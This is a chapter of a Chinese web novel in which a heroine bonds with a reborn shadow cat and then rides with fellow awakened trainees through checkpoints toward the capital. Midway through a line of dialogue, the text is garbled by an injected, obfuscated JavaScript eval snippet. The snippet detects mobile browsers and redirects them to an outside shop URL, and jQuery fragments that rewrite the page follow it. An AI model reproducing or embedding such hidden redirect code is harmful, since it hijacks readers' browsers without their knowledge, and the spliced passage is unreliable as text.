艾以何无声的看着她,右手的食指动了动,她没力气了。
何露露爬了过来,垂下头,把脸贴在她的掌心。
“咚咚——咚咚!”心脏和脉搏都在跳动。
艾以何笑了。
她指头上的血抹在了何露露脸上,从下颌一直延长,手指颤抖着,竭力抵达眼睛下方。
何露露脸上的血在流淌,在干涸。她任由她摆布,像一个承诺,也像一个新的刺青。
楼下传来脚步声。
“艾以何!艾以何你在——我靠!”
是林骁。
二楼的影子将他的脚印吞没,又犹豫了一下,重回平静。何露露在掌心蹭了蹭,沉入造物主的影子。
林骁冲了进来。
他看见艾以何浑身被血泡透了,墙角还躺着大猫小猫,还有一个穿校服的女孩,吓得他脸都白了。
他冲过来,蹲下,一时不敢伸手确认她的生死。
艾以何张了张嘴,没发出声音。
林骁愣了一下,然后反应过来,从兜里掏出一瓶饮料。
是最新的中药味。
艾以何觉得自己还不如死了。
“快喝!快喝!”
林骁心急,一把将瓶子凑到艾以何嘴边。
艾以何喝了一口。
……更难喝了。但她还是咽了下去。
身上的血慢慢止住,力气一点一点回来。伤口虽然好了,但骨头还是隐隐作痛。
她撑着地面坐起来,眼睛看着墙角那只大猫,还有它旁边那两只已经不会动的小猫。
和那个女高中生。
林骁顺着她的目光看过去,沉默了。过了很久,他说:“那个女孩……”
“人还没死呢。”张鹰冷嘲热讽的声音比她本人先到,“但你要是再不管,那离死也快了。”
白鹭摇摇摆摆的走过门框,羽毛上沾到很多瓦片灰尘,一不小心就蹭到张鹰裤腿上。
“……”张鹰斜了她一下,双手抱胸,又看向林骁。她看着他发现自己喂不进饮料,就倒在手指上,一点一点往对方嘴唇上抹。
抹了几下,女高中生的嘴唇终于张开一条缝。
林骁把饮料慢慢倒进去。
一口。两口。三口。
她的呼吸变得稳了一点。又过了一会儿,她的手指动了动。
林骁盯着她的手,眼睛亮了:“嘿,动了!”
周婉从隔壁房间回来,身上已经穿好他口袋里提着的衣服,凉凉道:“你那个中药味,死人都要爬起来骂一句难喝。”
林骁没反驳,只是嘿嘿笑着。
张鹰没管这两个的插科打诨。她走近艾以何,居高临下的弯腰,面向她的表情带着一丝探究。
“恭喜你,872……学员。”张鹰笑了起来,却没有真心实意的感觉,“我将如实记录,培训正式开始之前,你就已经可以''独立''击杀一只渊行者。”
渊行者?
艾以何觉得那个男人不配这个名字。
林骁一瓶饮料挡在艾以何和张鹰之间,“来,再喝点?”
他不知道是不是自己心虚,总觉得张鹰那个“独立”二字咬的特别重。
他又想到了那个影子。
艾以何顺势接过那瓶饮料,站起来,低头看了一眼自己的影子。奄奄一息的大猫抬起头,看着她。
月光底下,影子缩成一团,就在她身后安静贴住地面。
大猫身上还在流血。刚才最后的一拳,彻底砸断了它的骨头。
艾以何蹲下来,想拧开瓶盖。
大猫没动。
它只是越过她,看着两只小猫僵硬的身体,看了很久很久。
然后,它低下头,舔了舔艾以何的手。
艾以何愣了一下。
大猫的身体开始发光。
不是莹莹的幽光,而是像今晚的月光一样柔和,光芒从它脏污的皮毛里透出来,把整个墙角都照亮了。
光芒里,两只小猫的身体都化作粉尘,和火焰跳动的气流融合到一起。
它们变成一条飘带,附在大猫的细尾上,发出蛋白质的焦臭味。
“喵。”大猫不以为意,把尾巴揣进自己的怀里,整个身体都开始燃烧。
大猫缩小。
再缩小。
最后变成一只小猫的形状。纯黑色的,比巴掌大不了多少。
和它失去的小猫一模一样。
艾以何的呼吸停住了。她的心神震动,恍惚从虚空里听到一声叹息。恍惚的、虚幻的……好像在哪听过。
影子很安静。
艾以何轻轻地把那只小猫抱起来。小猫没有挣扎,只是缩在她怀里,把自己缩成一圈,抱着自己不再发光,显得有些臃肿的尾巴。
周婉和林骁都看到这一幕,沉默了很久,她走过来,轻声说:“它选了你。”
艾以何很少被人选择。
她没说话,只是抱着小猫,抚摸着它的背脊。外面的橘猫看着非常想进来,眼睛快把窗户挤垮了。
火堆的光快灭了。
女高中生的呼吸很轻,一下,一下……
是活着的呼吸。
离张鹰规定的晚上9点还有十几分钟,橘猫守着救援队把女高中生抬进车,咚咚跟着汽车跑起来。
乌鸦失去看守,“嘎”了声,展翅欲飞。
艾以何低头看它,“不要再招惹我,再有下次一定杀了你。”
“嘎——嘎嘎!”乌鸦翅膀拍了拍胸脯。
张鹰好像有点不高兴。
那辆皮卡还停在北风街巷子口,她靠在车门上,手里拿着平板,脸色说不上难看,但也绝对算不上好看。
“后排有塑料口袋,你们一人拿一个。”她的视线略过林骁,落在周婉身上,眉头皱了一下,“别吐我车上,吐了也不会停车。”
艾以何看了眼手机,八点五十七分。
“还剩3小时零3分钟。”张鹰把平板收起来,语气平平,“踩点出发,赶快,时间有点赶了。”
张鹰坐进驾驶座,发动车子。
林骁推了推王卫边,后者正把大家的行李放到后备箱,完了会意地选了副驾。他一上车就系好安全带,双手放在膝间,开始闭目养神。
张鹰发出一声嗤笑。
林骁笑嘻嘻的逗着艾以何怀里的小猫,一副完全没听到的样子。
自从张鹰在他面前提了渊行者这个词。虽然不知道具体定义,总之一定不是好人。不然这辆车应该把杀了对方的艾以何送去监狱,而不是什么培训班。
再回想狼群退散前那个恐怖的阴影,他谁也不想说,包括不知情的艾以何自己。
就跟他小时候在大伯那看到的一样,权力和力量,哪怕明知下一步就是深渊,也会渴望更多,就像……他的哥哥那样。
“距离首都三百二十公里。”张鹰说,“按我的速度,预计二个半小时。但路上会经过七个检查站,每个都要停车核验身份,所以要预留一点时间。”
她顿了顿,从后视镜里看了艾以何一眼。
“另外,猫不准尿在我车上。”
艾以何“嗯”了一声。
张鹰没再说什么,猛地踩下油门。
她开车,乘客是看不到什么风景的。艾以何坐在正中央,一会搂住周婉不让她飞出去,一会替林骁撑开口袋,避免他真吐到张鹰车上。
猫在摇晃中悠闲的甩着尾巴,最后还打起了呼噜,是后座最轻松的那一位。
艾以何低头,猫在她怀里睡得很沉,把自己缩成一圈,把尾巴抱在怀里。仔细一看,尾巴尖还带着细碎的光屑。
防窥玻璃上,倒映着她黑漆漆的影子。
她弯了弯唇角。
第1个检查站到了!
不是那种临时的路障,是正正经经的检查站。水泥墩子、防撞护栏、持枪的武警和拿仪器检测的红袖章。
旁边还搭着帐篷,里面有人在休息,有人在吃饭。
林骁趴在车窗上,像狗一样的喘气:“358号检查站?那一共有多少个啊?”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482372|201820||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
重点路段五百米一个。”张鹰笑着把证件递给武警,头也不回,“我们走的是高速,没那么密,你待会自己数数。”
对方看到他证件上的公章,刷的一声敬礼,“全线二千三百名警力,十二小时轮一班。任何地方发生异常,十分钟内保证赶到。”
林骁缩回脑袋,小声说:“这也太……”
“太什么?”周婉发现天色太黑,自己根本看不清张鹰的证件内容,回头睨了他一眼。
“太让人放心了。”林骁说,“我以为大家早乱成一锅粥了。”
“连乐水区都第一时间组织了避难所,统筹物资,还把我们拉进民兵队,乱不了。”艾以何好不容易有了休息的空档,埋头看手机。
高速上的信号也是满格。
她打开那个警方APP,置顶的消息是:【全国觉醒者登记工作已基本完成,首批培训计划启动】
往下翻,还有:
【各地避难所秩序稳定,感谢广大市民配合】
【谣言辟谣:没有“怪物攻城”、没有“政府撤离”、没有“世界末日”】
评论区有人问:“那些变异动物呢?!”
下面有人回复:“已经被收编了,都在郊外当保安。”
艾以何看着那条回复,嘴角动了动。
她看了看怀里的小猫。它还在睡觉,小肚子一起一伏。
“快看,我刚接到乐水区的短信,任务奖励5个荣誉点,你们有没有?”林骁突然大喊。
周婉:“不巧,我8点。”
艾以何直接没敢吭声,她得到了17点。
林骁才不管她的体贴,挪过来强行要知道,发现两个都比自己高,发出一声哀嚎,直接扑向副驾椅背。
“王——哥,你是多少点?”
王卫边摇了摇头。
林骁愣住,气氛一下冷下来。
“他参加改造,应该贷款了不少积分。”张鹰嚼了嚼口香糖,把拿回来的证件仔细收好,“没还完之前,永远是在给治疗师打工。”
“那个,姐,我亲爱的张姐。”林骁的眼睛又亮了起来,偷偷看了眼她旁边沉默的王卫边,“我能问个问题吗?”
“……问。”
“首都那边,我们到底怎么样才能够挣积分?这个荣誉点又是什么?”王哥欠着债,总得想办法还上,他又不是一人吃饱全家不饿的单身汉。
周婉也在等这个问题的答案。不过比起这个,她更关注张鹰对艾以何和王卫边特殊的态度。
张鹰沉默了两秒。
“到了你就知道了。”
“这算什么回答?”林骁佯装不满,“我这人好奇心重,你不说我会憋死的。”
“荣誉点评职称用的。你们每个人都不一样,麻烦死了。”张鹰轻踩了下油门,车缓缓起步右转。她余光扫过王卫边,隔着墨镜,眉毛上挑,车随即驶离检查站。
林骁见好就收,退回来小声嘀咕:“行吧,不知道我能不能也成为治疗师。”
周婉道:“刑讯室更适合你。”
“啊?”
“不招就上刑,不行了就给他灌你的饮料,这样还不招,反正体力也恢复了,继续上刑。”
“过分了哈!”
王卫边听着他们逐渐轻快的话题,右手的拳头慢慢松开,露出一个笑容。
他的手机震了一下。
聊天软件上,老婆一长串的语音甩了过来。他下意识往后看,结果对方开始给他发表情包。
死哪去了.jpg
几个人,去哪,回来还爱我吗.jpg
我要出门捡狗了.jpg
王卫边沉默了,他打了几个字,又慢慢删掉。
最后举起手机,对自己左臂来了一张自拍。
哪怕在贴了防晒膜的车厢里,那条机械造物也泛着冷光,他五指张开,让摄像头拍到指尖窜着的那一串蓝色电火花。
【啊啊啊啊啊啊老公你帅爆了!快点回首都,我要亲死你啊啊啊!】
王卫边……行吧。